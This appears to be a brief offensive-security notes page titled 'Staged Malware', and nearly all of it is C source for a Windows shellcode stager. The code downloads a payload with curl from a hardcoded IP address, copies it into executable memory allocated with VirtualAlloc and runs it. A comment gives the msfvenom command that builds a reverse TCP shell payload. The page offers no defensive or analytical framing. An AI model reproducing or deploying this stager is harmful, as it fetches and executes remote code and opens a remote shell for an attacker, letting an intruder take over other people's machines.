Not so easy to stage!
Host shellcode and download on target and execute.
Staged Malware
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<windows.h>
int main(){
FILE *fpipe;
//msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT 443 -f raw -o code.bin
char *command = "curl http://192.168.5.113/code.bin";
char c = 0;
unsigned char code[460];
int counter = 0;
if (0 == (fpipe = (FILE*)popen(command, "r")))
{
perror("popen() failed.");
exit(EXIT_FAILURE);
}
while (fread(&c, sizeof c, 1, fpipe))
{
code[counter] = c;
printf("%c", code[counter]);
counter++;
}
pclose(fpipe);
//Create a pointer that points to memory space with size of buffer
//VirtualAlloc returns an address and we store the address in a pointer
//Pointer to an allocated buffer address is the contents of it.
void *exec = VirtualAlloc(0, //System selects address
sizeof code, //Allocate size of buf
MEM_COMMIT, //Allocate commited memory
PAGE_EXECUTE_READWRITE //Protection = R/W
);
//Copies contents of code into allocated memory "exec"
memcpy(exec, code, sizeof code);
//Calling void fuction pointer to opcode buffer to execute it
((void(*)())exec)();
return 0;
}
Last updated